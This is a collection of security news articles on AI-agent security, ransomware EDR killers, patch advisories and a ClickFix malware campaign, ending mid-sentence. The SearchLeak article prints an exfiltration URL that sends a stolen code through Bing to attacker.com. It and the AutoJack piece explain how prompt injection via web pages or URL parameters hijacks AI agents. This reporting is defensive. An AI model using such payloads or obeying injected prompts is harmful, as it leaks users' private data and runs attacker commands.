At Zenith Live 2026 held on 16-17 June in Vienna, Zscaler sharpened a reality that Southeast Asia CIOs and CISOs are already sensing, which are, AI agents are quickly becoming digital workers inside their organisations, while regulators tighten data residency rules and supply‑chain attacks move closer to core business operations. Zscaler’s solution is to extend its Zero Trust Exchange and SASE platform beyond users and workloads to AI agents, unmanaged devices, multi‑cloud workloads, and B2B partners, effectively positioning zero trust as the control plane for secure AI adoption in highly connected, highly regulated markets like Southeast Asia. In my opinion, three moves stand out for Southeast Asia organisations at the AI layer: 1. An AI Broker with an Agent Registry that governs how AI agents talk to data, applications, and other agents, inspecting prompts and responses and enforcing least‑privilege access in real time. In my view, this is critical in sectors facing strict data‑handling rules across multiple jurisdictions. 2. Endpoint AI Security that exposes risky local AI tools, browser extensions, and plugins proliferating on endpoints across distributed workforces and contractor ecosystems common in Southeast Asia. 3. An AI Access Graph and AI Protect that map AI assets, model usage, and data flows across SaaS, public cloud, and on‑prem, backed by red‑teaming, prompt hardening, and guardrails for more than 250 GenAI apps. Equally important for Southeast Asia region is how Zscaler handles cross‑border connectivity and sovereignty. The company’s Zero Trust B2B Exchange replaces site‑to‑site VPNs and MPLS links with policy‑controlled application access, so partners, outsourcers, and regional subsidiaries never sit on the same network. This is even as data and workflows move between markets. In parallel, its cloud is engineered for strict locality of logs and operations, with regional data centres and no external “kill switches”, a design clearly influenced by European GDPR and localisation demands that now echo in Southeast Asian data regimes. On the ground, customer stories from AkzoNobel and Siemens Healthineers show what this looks like when applied decisively – “dark” branches that cannot be discovered on the internet, zero‑trust based B2B connectivity, and an explicit strategy to guide AI adoption rather than banning it. For Southeast Asia CISOs, here is the practical message: 1. Build a live inventory of AI usage and data flows across borders before regulators and auditors force the issue. 2. Hide your infrastructure and supply chain behind zero trust, so neither partners nor AI agents can turn a single misconfiguration into a regional incident. 3. Treat zero trust as your AI operating model, not a side project, because every new AI agent you deploy is now part of your workforce, your compliance posture, and your attack surface. My Recommendations for 3 Immediate Priorities for Southeast Asian CISOs in the AI Era 1. Reframe the Threat Model Around Agents, Not Just Users a. Update threat models and control frameworks to explicitly include AI agents as identities: what they can access, what actions they can perform, and how they are monitored. b. Classify agents by criticality and blast radius in the same way you do privilege human accounts and critical applications. 2. Cut Lateral Movement Before You Chase Every Vulnerability a. Assume you will never patch everything, focus first on eliminating discoverability and lateral movement across branches, factories, and multi‑cloud workloads. b. Use zero trust segmentation so a compromised agent, endpoint, or partner connection can only see and touch what policy explicitly allows. 3. Operationalise AI Guardrails and Evidence for Regulators a. Implement AI‑aware controls: AI Broker, guardrails for GenAI apps, data lineage via access graphs, and endpoint visibility into AI tools. b. Ensure you can produce evidence such as logs, policies, lineage, showing how AI access is governed across borders, partners, and regulated datasets. View the full article

One of the world’s top ransomware groups has given its criminal affiliates access to advanced tools capable of successfully disabling many of today’s enterprise endpoint detection and response (EDR) products, new research by security company ESET has found. The group in question is The Gentlemen, which, since its appearance last year using this moniker, has become one of the most successful ransomware-as-a-service (RaaS) platforms thanks to a business model that gives affiliates an unusually generous 90/10 revenue split. In May, the group’s servers were breached by an unknown attacker, who posted materials subsequently analyzed by researchers to uncover deeper insights into the group’s operation. One tactic that ESET thinks hasn’t had the attention it deserves is the growing importance of ‘EDR killers’ in the estimated 300 ransomware attacks carried out via The Gentlemen platform. EDR killers, tools which attempt to bypass or disable PC and server endpoint security agents during a cyberattack, are not new, but have gradually increased in number and sophistication. However, the barrier to using them in a ransomware context is that an affiliate still needs to develop or source their own EDR killer tool, a major undertaking given the large number of EDR products in use by defenders. The leak confirmed ESET’s suspicion that The Gentlemen had developed its own EDR killer framework, dubbed ‘GentleKiller’, which gives affiliates access to a wide range of sophisticated EDR killer routines without having to any of the work themselves. The Gentlemen also integrates well-known third party tools such as HexKiller, ThrottleBlood, and HavocKiller. Bring your own vulnerable driver According to ESET researcher Jakub Souček, the effect of this has been to democratize EDR killing capabilities, which have become essential to evading enterprise defenses. “By providing such tools for affiliates, they lower the entry barrier for less skilled affiliates, who, on top of the encryptor, also receive everything they need to perform intrusions. This naturally expands the affiliate pool and enables consistent encryptor deployment,” Souček said via email. Across a total of eight variants, a central element of the framework was the ability to quickly deploy new bring your own vulnerable driver (BYOVD) proofs-of-concept used to gain kernel-level privileges after loading a vulnerable driver into memory. The technology was bundled with evasions for 400 EDR processes from 48 different vendors. The principle behind BYOVD is simple enough: once an attacker has gained admin privileges through an account takeover, they load a legitimate, but old and vulnerable vendor driver, inside which lies an exploitable vulnerability. This extends the power of admin control to kernel level, allowing them to target the EDR drivers in a direct way. EDR tools’ vulnerability to a newer generation of evasion techniques has been known for some time; a 2024 study by security company Trellix highlighted this weakness, and earlier this year, another security vendor, Huntress, reported a recent case in which BYOVD had been used to load and target a vulnerable old driver to shut down EDR defenses. “The biggest defense obstacle is the fact that EDR killers rely on vulnerable non-malicious drivers that are often still used legitimately,” noted Souček. To defend against this, enterprises should enforce protections such as Hypervisor-Protected Code Integrity (HVCI) and Kernel-mode Code Integrity (KMCI), which make it more difficult for old or unsafe drivers to be loaded, he said. According to Souček, “companies should also enforce strict allow and block driver policies, including via custom rules that fit their organization, continuously audit and remove unnecessary drivers, and ensure vulnerable drivers are updated or eliminated. Preventing the installation of such drivers renders the EDR killer benign.” View the full article

Microsoft Office users may find that some of their applications are failing to open when called on by third-party applications. It’s an issue that has emerged after the latest round of Microsoft updates. The problem affects Word, Excel, and other Office applications opened from third-party offerings including CCH Engagement, Workpaper Manager, Zotero, or dental office software such as Dentrix or Softdent. The update issued on June 9 appears to have triggered problems with the OLE automation that these third-party applications use to interact with Office. Users have reported that files are failing to open, with no error message indicating what has gone wrong, According to one Windows user forum, the issue is particularly frustrating because of this lack of error message. As one user put it, “‘Word won’t open from our workpaper system’ is functionally the same as ‘Word is broken.’ To an administrator, the difference determines whether the next hour is spent repairing Office, rolling back Windows, calling a line-of-business vendor, or opening a Microsoft support case.” Microsoft has said that it is aware of the issue and is working towards a resolution. Deleting mystery file The company is also looking to fix a minor issue that has emerged from this latest round of updates: Users are finding that when items are deleted, the confirmation dialog box displays the internal Recycle Bin file name (for example, $Rxxxxx.ext) instead of the original file name. However, Microsoft stressed that in the Recycle Bin, the item still appears with its original name. This article first appeared on Computerworld. View the full article

A simple framework has always governed security operations that I call the SOC Triangle. It is a balance between quality, consistency and cost efficiency. Every SOC operates within it. Push for higher-quality investigations, deeper analysis, richer context, fewer missed signals and you pay for it in time and expertise. Standardize workflows to ensure consistency across every alert, and you often lose the flexibility needed to handle real-world complexity and nuance. Optimize for cost efficiency, and the pressure shows up quickly in both quality and consistency. For years, the SOC Triangle has shaped how security teams are built and how they perform. This is why organizations add headcount to improve outcomes, rely on rigid playbooks to reduce variability and improve scale, and still struggle to operate at their theoretical best and optimize security and quality of service outcomes. The constraint is not a failure of strategy. It is structural. And until recently, it was largely unavoidable. Why the SOC was built this way Most security operations centers are designed as human-routing systems. Alerts are ingested, triaged, escalated and resolved by analysts at multiple levels. Every meaningful step, including collecting evidence, correlating signals and making decisions, depends on human capacity. That dependency introduces variability. Two analysts can approach the same alert differently, influenced by experience, fatigue and time pressure. To improve consistency, organizations introduce playbooks and workflows. But those controls often reduce flexibility, especially in complex cases, and fail to provide coverage where decision making relies in part on unstructured context, and where workflows may not be fully deterministic and require real-time reasoning to determine the best course of action. At the same time, scaling either quality or consistency typically requires more people, reducing cost efficiency. This is the SOC Triangle in practice: a system where improving one dimension creates friction in another. The same constraint is also why the managed detection and response market exists. When organizations could not solve the triangle in-house, they outsourced it. But the service model does not eliminate the trade-offs. It reconstitutes them at the provider layer, where the same human-routing architecture, the same playbooks and the same staffing economics drive the same limits. Customers pay for consistency and predictability, and they get it. What they often do not get is the investigation depth and environmental customization tailored to their business context and to optimizing against their security program maturity goals that they would want if resources were not the binding constraint. Where the model starts to break The challenge is not just the existence of trade-offs, but their growing intensity. Modern SOCs must process higher volumes of alerts across more tools and environments. The work itself, gathering and correlating evidence across identity systems, endpoints, cloud platforms and threat intelligence, is both repetitive and cognitively demanding. Under this pressure, the triangle tightens. Quality degrades because analysts do not have time to fully investigate every signal and rigid automation playbooks often fail to capture the depth and nuance that security leaders expect which results in increased friction for end users. Consistency suffers because decisions are made under time constraints. Cost rises because the only way to compensate is to add more people or accept increased risk. This hits hardest for organizations that have outsourced SOC operations. Service economics lock the trade-offs in place. Per-alert pricing constrains how much investigation each signal receives. Standardized playbooks limit how much the service can tailor to a specific environment. Tier structures exist because the math of humans investigating alerts demands they exist. Every one of those mechanisms is a rational response to the triangle. None of them changes its shape and its fundamental constraints. For years, this has been accepted as the cost of doing business, whether that business is run in-house or outsourced. How AI changes the constraint AI is often framed as a tool for efficiency. The more meaningful shift is that it changes how certain SOC workflows are executed. Much of SOC work follows a pattern: gather data, correlate signals, ask follow-up questions and form a conclusion. These workflows are complex but repeatable. They require consistency and scale as much as expertise. When those workflows are no longer constrained by human bandwidth, the SOC Triangle begins to change shape. Quality improves because investigations can incorporate more meaningful data, apply investigative reasoning in real time and take into account unstructured information and business-specific context without shortcuts. Consistency improves because the same logic is applied across every alert. Cost efficiency improves because scaling no longer depends on linear increases in headcount. I am watching this play out in production environments today. Investigations that used to consume the majority of Tier 1 and 2 analysts’ shifts now resolve in minutes, with deeper context than the human path could produce within these time frames. The same rigor is applied to every alert, not only the anecdotal ones that earn attention. What used to be a choice between going deep on a few cases or going shallow on many is no longer a compromise security leaders need to make. For the first time, these dimensions are not strictly in opposition. From trade-offs to expansion This does not eliminate the SOC Triangle. It expands it. Not every workflow can be automated, and not every decision can be reduced to a repeatable process. Strategic judgment, incident leadership and risk appetite remain human responsibilities and business decisions. But the boundary within which SOC teams operate is no longer tied to legacy constraints. Instead of choosing between quality, consistency and cost, organizations can begin to improve all three for the types of work best suited to machine execution. That is a meaningful shift, whether it occurs within a company’s SOC or in the service relationship with a partner that operates it. Where it matters most The impact is most visible in the high-volume workflows where performance gaps have been largest: alert triage and enrichment, initial investigation and evidence gathering, correlation across systems and routine response recommendations. These are the areas where human-led processes introduce the most variability, where time pressure degrades quality and where scaling costs are most visible. They are also the areas where trade-offs have historically been unavoidable. The human role evolves AI does not remove the need for human expertise. It changes where that expertise is applied. As machines take on repeatable work, human effort shifts toward higher-value activities: interpreting ambiguous signals, managing complex incidents, setting policy and making risk-based decisions. The operating model moves from human-executed workflows to human-governed systems. That changes what organizations should expect from security operations, whether in-house or outsourced. The conversation moves from “how many alerts did you close last week” to “what patterns are you seeing in my environment, and what should I do about them.” The output is judgment, not throughput. That is a different product than most security teams have been buying, and it is a different service than most managed detection and response service providers have been selling. The shift that matters For years, SOC leaders have accepted the triangle as a fixed constraint. What is changing now is not just the tooling. It is the economics of how security work is performed. The triangle still exists. But it no longer defines a rigid set of trade-offs. In parts of the SOC and the services that support it, those trade-offs are beginning to loosen. In a field where constraints have long dictated outcomes, that shift matters. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

You are a security leader at a small or medium-sized business (SMB), and your organization has decided to adopt Claude. If you are like me, after the initial “surprise” wears off, you probably want to quickly get your arms around what adopting Claude means for the business, and for security specifically. Below are some lessons I learned, witnessed as a bystander or heard from fellow security leaders in the SMB space. The business wants to move fast, and Security is tasked with keeping up with that velocity. Know what you are buying and accept that things are changing fast Make sure you really understand what the organization is trying to achieve and which Claude plan you are buying. Understanding the Claude plan you are on, or planning to purchase, is important because most security necessities do not become available until the Team plan or higher. For example, while the Team plan provides SSO, the Compliance API is available only on the Enterprise plan. Claude Code (“Code”), Cloud Cowork (“Cowork”) and Claude Chat (“Chat”) are different products with different use cases and outcomes. The strategy here is to manage the blast radius. Most likely, every user will ask for “Claude” without knowing which plan or product they need to accomplish the task. I have found that an analogy works well here: Finance probably has a low appetite for giving everyone in the organization a corporate credit card with unlimited spending and no expense policy. Along those same lines, it might not be necessary to equip everyone with a Claude license, and while some users might have a business case for using Cowork, not everyone will need Code. Provisioning these products is not always clear-cut. My recommendation is to stand up an agile approval process to determine who needs a Claude license in the first place, which products they need and how to initially control the blast radius that way. A word of warning, though: while it might seem that the user with the Claude license is now riskier than the one without it, that might not actually be true. Unless you can tightly control shadow AI use, the unlicensed user might be using Claude’s free plan or a different AI product altogether. Roughly half of employees are using shadow AI tools, while some other surveys say it could be even higher (in the 80th percentile). Also, accept that keeping up with the ever-changing AI landscape is difficult, especially as an SMB security leader. Claude pushes updates almost daily, and functions and features move around within the organizational settings. Just keeping up with the speed of innovation is daunting, so do not feel bad if you do not have all the answers right away. We are all learning how to use and secure AI at the same time. Shortcut tip: Unsure where to start? Ask Claude. Prompt it to explain your Claude plan’s features, which security features are available to you and what an implementation plan could look like for your organization. Also, if someone has a question for you, ask them, “Have you asked Claude?” Delegating at its finest. Don’t enable everything all at once, and guard your keys What I found works well is to risk-rank Claude’s features. If the advice above is related to blast radius, you can think of this as assessing the “attack vectors.” Undoubtedly, users will ask to have all Claude features enabled at once, but I recommend a phased approach. It is very easy in Claude’s organizational settings to simply toggle features on and off, and while there are some warnings about how a feature could impact security, it is not always clear how the feature works across Claude products or within them. Enabling egress comes with a warning banner; enabling web search or a browser extension does not. However, the risk of indirect prompt injection is real and still emerging. A hard “no” might not work for the business, but a well-explained “maybe later” might. My recommendation is to go through Claude’s features and risk-rank them (or better yet, have Claude risk-rank them first) and build a roadmap from there. I ended up with three tranches: “enable now,” “enable with additional controls and monitoring,” and “do not enable until risk can be better controlled,” but yours might look different. A valuable resource we used was this implementation guide for Cowork, but there are others out there, and this one is for Cowork only. One of the more confusing parts is how to manage API keys. Do not hand out the Anthropic API key; depending on who the “primary owner” of the Claude account is, that person controls the keys to the kingdom. Enabling a safe and structured way to administer API keys was difficult to figure out, since instructions are nowhere to be found in the organizational (admin) settings. Since this is a very complex topic, know that there are different kinds of API keys, and Anthropic has introduced the concept of workspaces. Further, the Admin API requires a special API key (starting with sk-ant-admin…) versus a standard key (sk-ant-api…). Access is always an area of high risk, so make sure to understand how the organization is issuing, managing and reviewing API keys. I recommend keeping the pool of people who can create API keys small, especially in the beginning. Shortcut tip: Drop a pic. Did you know that Claude can analyze screenshots? If you are unsure what a specific Claude feature means for security, take a screenshot of the setting and prompt Claude to assess what that feature means based on your security policies, SOC 2 and so on. The more context you provide, the better the results. You still can’t outsource the security risk, and the elephant in the room is still data Do not assume security is automatically baked into Claude products, and getting visibility from a security standpoint can be a challenge. While Anthropic continuously improves security controls and guardrails for its products, just like in the early days of the internet, controls and guardrails are still being built, but that does not mean you are relieved of the responsibility to understand the security risks and concerns. For example, enabling Skills could lead to the execution of malicious code. While Anthropic issues guidance on how to author skills, there is no out-of-the-box solution yet. With the help of Claude Code, we created our own “skills auditor,” a mini workflow to automatically submit a skill for review. It uses internal documentation and Anthropic’s best-practice guide to audit the skill, identify potential issues and provide recommendations to fix them. We are now looking to enhance the skill even further so it can provide an updated skill rather than just recommendations. The big challenge remains having good controls and governance around your data— not only what is going into Claude, but also what is coming out. And honestly, that might be one of the trickiest problems to solve, so if you have figured it out, call me. Web search in Cowork essentially acts like a proxy for web traffic. Websites or web content that you blocked or filtered with traditional tools might now bypass your controls. Also, LLMs are people pleasers: if they do not know the answer, they might make it up (aka hallucinate). Users are often inclined or tempted to take the output as truth. Not only can that create security issues, but it can also lead to bad business outcomes. Shortcut tip: Leverage your existing tools and vendors as much as possible. Push them on emerging questions. They, just like you, have to adjust to new products and AI developments. Do not feel like you are on an island. As security practitioners, I believe we all dream of the day when vulnerabilities get fixed automatically long before they hit production, but with implementation choices comes the possibility of doing it “wrong.” However, I also believe that as a security leader in the SMB space, you already have the skills and repetitions needed to make the right choices. You are probably used to less red tape, more agile compliance and a quicker time to market. That means you are constantly walking the line between risk and reward, and this is no different. All the best— you’ve got this! This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

Microsoft is warning of a novel remote code execution (RCE) path possible through web-enabled AI agents, demonstrating the technique against AutoGen Studio, its open-source interface for building and testing multi-agent applications. The demonstration showed that a malicious webpage rendered by an AutoGen-powered browsing agent could reach a local Model Context Protocol (MCP) service and run arbitrary processes on the host machine. Microsoft researchers dubbed the technique “AutoJack” because it effectively hijacks a web-accessing AI agent and abuses its trusted local access to bypass localhost security boundaries. The attack chains together three separate weaknesses in AutoGen Studio’s MCP WebSocket implementation, though Microsoft said the problem extends beyond AutoGen and could affect a broader class of agentic frameworks. “When an agent on your core server or laptop can browse the open web and communicate with privileged local services, localhost stops being a trust boundary,” it said in a blog post. The findings were internally reported to Microsoft Security Response Center (MSRC), and the affected AutoGen Studio code was reportedly fixed before reaching a public PyPI release. Three flaws chained into RCE The AutoJack attack combined three separate weaknesses in AutoGen Studio’s MCP WebSocket implementation. The first involved an origin allowlist designed to accept connections only from localhost. Under normal conditions, this protection would block a browser visiting a malicious external website. However, Microsoft found that a browsing agent running locally inherits the localhost identity, allowing attacker-controlled JavaScript rendered by the agent to satisfy the origin check. The second issue stemmed from the authentication logic. AutoGen Studio’s authentication process excluded MCP WebSocket paths from normal authentication checks, assuming those endpoints would implement their own controls. According to Microsoft, the MCP route never enforced those additional checks, leaving the interface accessible without authentication regardless of the configured authentication mode. The third was the most dangerous of the issues. The MCP endpoint accepted a “server_params” value supplied through URL, decoded it, and passed the resulting command and arguments directly to the process-spawning mechanism used for MCP servers. Because no allowlist restricted which executables could be launched, attackers could specify arbitrary commands such as PowerShell, Bash, or other binaries. Microsoft said chaining these weaknesses allowed a webpage to trigger arbitrary process execution on the machine hosting AutoGen Studio without additional user interaction beyond getting the agent to render the page. The threat never touched production Microsoft said that the vulnerable code existed only in development builds that included MCP support and was never shipped through the current PyPI release. This means that users who installed AutoGen Studio through PyPI were never exposed to AutoJack. For those installing AutoGen Studio from source, the maintainers subsequently removed URL-based parameter injection, routed MCP paths through normal authentication flows, and implemented server-side parameter handling keyed to session identifiers. Beyond the specific bugs, Microsoft argues that AutoJack illustrates a pattern across agent frameworks. “The general guidance still applies because the pattern (an agent on the box reaching localhost services) is broader than this one bug,” it said. AutoJack was a result of Microsoft’s active research into how traditional software risks change when AI models connect to tools, browsers, code interpreters, and local services. The findings come as Microsoft doubles down on agentic AI initiatives across its product portfolio, expanding its investments in agent governance, containment, and autonomous security systems. View the full article

A recent proof-of-concept attack against Microsoft’s M365 Copilot Enterprise highlights what could be a much broader prompt injection threat based on a common way many AI-enhanced web services operate. Dubbed SearchLeak, the attack hinged on a typical malicious objective: to leak sensitive corporate data by tricking employees to click on specially crafted links. To carry out the attack, researchers combined three weaknesses in the Copilot Enterprise Search implementation — one of which stands out as a potential issue in other AI-enabled applications as well. Microsoft, which rated the information disclosure flaw as critical, patched the vulnerability on the server side earlier this month, but the attack also shows the implications of AI-powered services having broad access to corporate assets on behalf of their users. “Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn’t limited to personal data — it’s able to surface anything the user has access to inside the organization including emails, meeting invites and notes, SharePoint documents, OneDrive files, and other indexed business content,” researchers from Varonis Threat Labs said in their report. “Depending on how M365 is connected to the environment, the blast radius could extend even wider.” Parameter-to-prompt injection What makes the attack possble is the way Microsoft Copilot Enterprise Search operates. As is common for search capabilities in many web applications, Copilot Search relies on URLs that contain a ?q=[query] parameter. But because Copilot Search is AI-powered, the query parameter accepts natural language prompts, not just simple search queries. “Turning a URL parameter into an AI instruction that silently exfiltrates data? That’s the AI-native piece,” the researchers said. “It’s the new attack surface that makes the classic bugs exploitable in a way they wouldn’t be otherwise, something we’ve now witnessed with SearchLeak and Reprompt.” Reprompt is a similar attack Varonis researchers uncovered in Microsoft Copilot Personal and revealed this week. But there are other pecedents for what Varonis has dubbed as parameter-to-prompt (P2P) injection. Last October, researchers from LayerX revealed a prompt injection vulnerability in Perplexity’s Comet browser that also relied on data leak instructions being passed to an AI-powered search engine via the q= parameter in URLs. Even earlier, in July 2025, researchers from Tenable revealed a vulnerability in ChatGPT that also used maliciously crafted URLs. With URL query parameters becoming a common way of enabling on-the-fly prompt execution in AI-powered applications, this attack vector might become more commonly exploited in the future. “We did check many other LLMs, and some of them had a similar technique,” Mark Vaitsman, the security research team leader at Varonis, told CSO. “Some other LLMs have the option to use this type of technique, but are very strict about what can get in.” Getting the data out Getting an LLM to execute rogue prompts to access a company’s data is only one part of a succesful attack. The other requires finding ways to extract that data to an external server, because just tricking the web service to present data to the victim inside their browser does not inherintely pose any security risk. The user already can search and access that data. One common exfiltration technique in prompt injection attacks is to abuse an AI-powered web application’s ability to render responses as HTML, given that HTML can include elements that require the browser to send requests to remote resources, such as <img> tags. By abusing such tags, attackers can force the data to be leaked via browser requests to a server under their control. In the case of Copilot Enterprise Search, Microsoft had a guardrail in place that enclosed the LLM’s search responses inside <code> blocks, presenting it to the browser as text. Varonis researchers found, however, that this wrapping did not apply until after the model finished its thinking phase. The thinking process itself was still rendered as HTML in the user’s browser. “This is a textbook race condition,” the researchers said. “The guardrail is a post-processing step applied to the final output, but the browser doesn’t wait for ‘final’ — it renders incrementally. By the time the sanitizer activates, the damage is done.” Microsoft had a second guardrail, the Content Security Policy (CSP), that allows website owners to define what external domains can load resources into the page. In this case, the CSP for m365.cloud.microsoft.com also allowed resources from *.bing.com, Microsoft’s search engine. It turns out that Bing’s Image Search supports an imgurl= URL parameter to fetch images from external servers. As a result, the researchers could use Bing’s Image Search as a proxy to leak the data. The proof-of-concept attack chain developed by Varonis showed how a user’s two-factor authentication code sent via email could be leaked. First, they would craft a link to Copilot Enterprise Search that would instruct the service to search through the user’s mailbox for an email with the code, then store that code in a variable and formulate a response that includes an <img> with the source being https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/$variable/img.png. “Because Copilot Enterprise operates with the user’s full graph permissions, the attacker effectively inherits the victim’s access to the organization’s data, without ever authenticating,” the researchers found. “This enables account takeover and broader data theft scenarios without the victim’s knowing. No special privileges are needed on the attacker’s side, just a crafted URL and a single click from the victim.” Mitigating the broader implications What these POC attacks show is that developers of AI-powered web applications and services need to filter the type of prompts allowed through URL query parameters and sanitize output at render time, not as a post-processing step. CSP policies should also be reviewed for potential server-side request forgery (SSRF) risks through the whitelisted domains. Organizations that use such services should train employees to be suspicious of links with long query parameters, especially if they’re encoded. Security teams should detect and block requests to URLs that contain HTML tags in them or instructions to embed data in those tags. View the full article

The Oracle Critical Security Patch update (CSPU) released this week contains 245 newly-announced fixes for supported on-premises software, some of which impact multiple products. It is in reaction to an industry trend to announce and fix security holes much more quickly, and complements Oracle’s traditional quarterly patch schedule. The current batch of patches affects a wide range of products, including Oracle Enterprise Manager, JD Edwards, Fusion Middleware, MySQL, Peoplesoft, and others. Oracle said its aim is to provide targeted, high-priority security fixes in a smaller, more focused format, making them easier to apply with minimal disruption. “Oracle conducts an analysis of each security vulnerability addressed by a Critical Security Patch Update,” the company said. “Oracle provides this information so that customers may conduct their own risk analysis based on the particulars of their product usage.” Flavio Villanustre, CISO for LexisNexis Risk Solutions, said that although they’re all designated high priority, he viewed some of the patches as more concerning. “The PeopleSoft patch for CVE-2026-35273 stands out [because] it addresses a critical remote code execution vulnerability in Oracle PeopleSoft, which is widely exploited in the wild. This patch was released as an out-of-band Security Alert and requires immediate remediation,” Villanustre said. “But not far behind, there are the patches to Oracle Fusion, which received a hundred or so patches with more than half classified as remote exploits without authentication. These affect components such as WebLogic Server.” Some of those patches were for Oracle Fusion Middleware products, a number which are reaching end of support from Oracle by the end of the year. Villanustre, however, did not see the many security holes identified within them as especially concerning. He pointed out, “Oracle offers extended support for [Fusion Middleware] until December 2027 for those with the appetite to pay more money in lieu of upgrading, so it will still be supported for 18 more months, starting now.” Sanchit Vir Gogia, chief analyst at Greyhound Research, said that the significance of the Oracle announcement is not in the very large number of patches but in their scope. “The figure worth watching is not the 245 patches but where they land,” he noted. “Of the 245 fixes, 106 sit in Fusion Middleware and 53 of those can be reached remotely without authentication. That is not patch hygiene. That is a control-plane problem.” The most serious flaws, however, are not those with the highest severity scores. “They are the ones that combine remote reach, absent authentication and privileged placement in layers that other systems are built to trust,” he said. “WebLogic Server carries two such issues at the maximum severity, on a product attackers have scanned for and targeted for years,” he noted. “Oracle Coherence carries another, and Coherence is a shared component, so its risk multiplies quietly across the estate. Oracle Unified Directory can be taken over without authentication over LDAP. WebCenter sits at the public edge. Several of these flaws change scope, meaning one compromise can reach products well beyond the one first breached.” Chris Doyle, the head of security and compliance at JupiterOne, said that, like Gogia, the vulnerabilities that concerned him the most were those that could be executed without having to bother to steal credentials. “The flaws that stand out the most are the CVSS 10.0 vulnerabilities in Oracle Coherence and WebLogic Server, remotely exploitable with no authentication required. Coherence sits underneath a lot of enterprise application stacks, so compromising it isn’t just one system, it’s a pivot point into everything that depends on it,” Doyle said. And, he added, “WebLogic has been a ransomware and crypto mining target for years and unauthenticated console access is exactly the foothold those campaigns look for.” Doyle said he was also worried about the PeopleSoft holes. “The one carrying the most immediate urgency is CVE-2026-35273 in PeopleSoft PeopleTools, which Oracle confirmed was already being actively exploited before this patch even shipped, and PeopleSoft runs the HR, finance, and student systems that ransomware operators specifically target,” Doyle said. “These are deeply coupled systems that require coordinated upgrades across multiple layers with regression testing at each step. There’s often no easy compensating control to buy time, you just have to patch your way through it.” The Fusion Middleware problems — Oracle cited more than 30 vulnerabilities in this batch alone — also presented a problem, given how most enterprise IT operations handle patching for EOL products. “Organizations still on it are now trying to patch a heavily targeted product while simultaneously planning a migration they can’t defer. These environments are heavily customized, which makes patching slow, and that gap between ‘patch available’ and ‘patch applied’ is exactly when attackers move,” Doyle said. “Once support ends, new vulnerabilities may get no patch at all,” he noted. “Given the volume we’re seeing in just this one cycle, assuming things will quiet down before the sunset deadline isn’t a bet I’d want to make.” Gogia added that there is little good news associated with the security holes that have not been confirmed as having been used by attackers. “The absence of confirmed exploitation elsewhere is no comfort. Once an advisory is published, attackers read it, reverse the fix, scan the exposed enterprise environments and race the customers still waiting on a maintenance window,” Gogia said. “WebLogic has not suddenly become dangerous. It has been a standing target for years, and one of its earlier flaws already sits on the [Known Exploited Vulnerabilities] government catalogue. Waiting for public proof of exploitation is the most expensive patch strategy on the menu. By the time the proof arrives, the quiet work is generally done.” View the full article

Threat actors are abusing trusted platforms, including Google Ads, GitLab pages, and Claude’s shared chat feature, to trick users into executing malicious commands on their systems. Disguised as popular AI developer tools, the threat actors used ClickFix social engineering attacks, where victims were tricked into manually executing malicious commands. Typically, this involved copying and pasting PowerShell or terminal commands, noted researchers at TrendAI. The campaign funnelled more than 2,000 victims from sponsored Google search results for popular AI developer tools to malicious download pages before leveraging the claude.ai shared-chat feature as another stage in the attack chain. The campaign demonstrates how threat actors are exploiting trust in widely used AI platforms to make social-engineering attacks more convincing and harder to detect. Inside the six-wave campaign Unlike traditional malware campaigns that rely on suspicious domains or fake download websites, this attack chain was built almost entirely on legitimate services. The threat actors used 92 unique malicious hostnames across GitLab pages, impersonated legitimate brand names including ChatGPT Codex, Perplexity, Cursor IDE, JetBrains, Claude AI, and claude.ai, and simultaneously ran Mac utility scam lures. The campaign was spread across seven weeks, where weekly campaigns introduced new pages and keywords. The first wave of the campaign launched between April 8-13, with claude-code-app.gitlab[.]io as the primary lure, supported by claudeapp.gitlab[.]io. Simultaneously, Mac utility-themed lures (mac-clean-storage.gitlab[.]io, mac-guide-tool.gitlab[.]io) were also found to have been deployed. During this wave, a single Google Ads campaign ID (23736589328) resulted in driving the majority of the traffic. During the next wave spanning April 14-21, the campaign was diversified with the new Claude-themed variants, including gitlab.io domain (claude-tool-app, claud-desktop-app, claudesktop, claude-desktop-apps) alongside expanded Mac utility lures (macsupp-group, macsupp-usb, jetbrains-apps-group). The brand impersonation was expanded during the third wave with the introduction of perplexity-platform.gitlab.io and chatgpt-codex.gitlab[.]io, while also creating claude-desktop-lm.gitlab[.]io and cladesktop.gitlab[.]io. During the fourth wave between April 29 and May 5, the operators pivoted significantly toward ChatGPT and Codex branding with codexgpt.gitlab[.]io , chatgpt-codex-app.gitlab[.]io, and chatgpt-codex-lm.gitlab[.]io, while the Claude-themed attacks continued. In the fifth wave, spanning May 6-14, the threat actors moved their campaign from self-hosted GitLab Pages to abusing claude.ai’s legitimate shared chat feature. For this, claude.ai’s “share” feature was leveraged to create persistent, publicly accessible URLs on a fully trusted domain and then used Google Ads to direct victims to these weaponized pages, claimed the research. During the sixth wave, between May 21 and June 14, the threat actors had completely shifted to claude.ai’s shared chat feature. The campaign appears to have been designed primarily to target developers and technical users, say experts. “An interaction with a Claude can be perceived as reliable because the users have become accustomed to considering AI tools as sources of productivity tips and technical advice. In this scenario, when users are provided with harmful instructions via an AI platform, there is a good chance that they will comply with them automatically,” explained Devroop Dhar, co-founder and India CEO at Primus Partners. Reputation-based defenses fell short Security experts say the campaign’s success stemmed from its ability to leverage trusted platforms at every stage of the attack chain, making malicious activity appear like normal user behavior. “What makes this attack chain particularly effective is that it does not ask the victim to trust something obviously suspicious. Instead, it borrows trust from familiar brands, legitimate ad infrastructure, reputable hosting, and an AI platform that many developers already use in their daily workflow. This reduced the psychological friction that normally makes users pause before clicking or executing something,” said Amit Jaju, senior managing director at Ankura Consulting. This is also a strong example of trust stacking. Each layer looks individually legitimate, so the full chain appears safer than it really is, added Jaju. By leveraging platforms that organizations routinely allow and trust, the attackers were able to blend malicious activity into normal user workflows, making detection significantly more difficult. Dhar added that in most cases, access to applications such as Google, GitLab, and AI applications is not blocked, as this could hinder operations within an organization. The reputation-based security systems cannot work efficiently here since the domain in question is seen as a reputable one, meaning security personnel will have to dig deeper into behaviour and user actions. Breaking the attack chain If a developer falls victim, the blast radius can be much larger than a normal user compromise. Jaju warned that a developer machine often contains browser session cookies, SSO tokens, SSH keys, Git credentials, source code, cloud CLI tokens, package manager credentials, secrets stored in local files, and access to internal documentation or collaboration platforms. From there, attackers can move into code repositories, CI/CD pipelines, cloud environments, container registries, ticketing 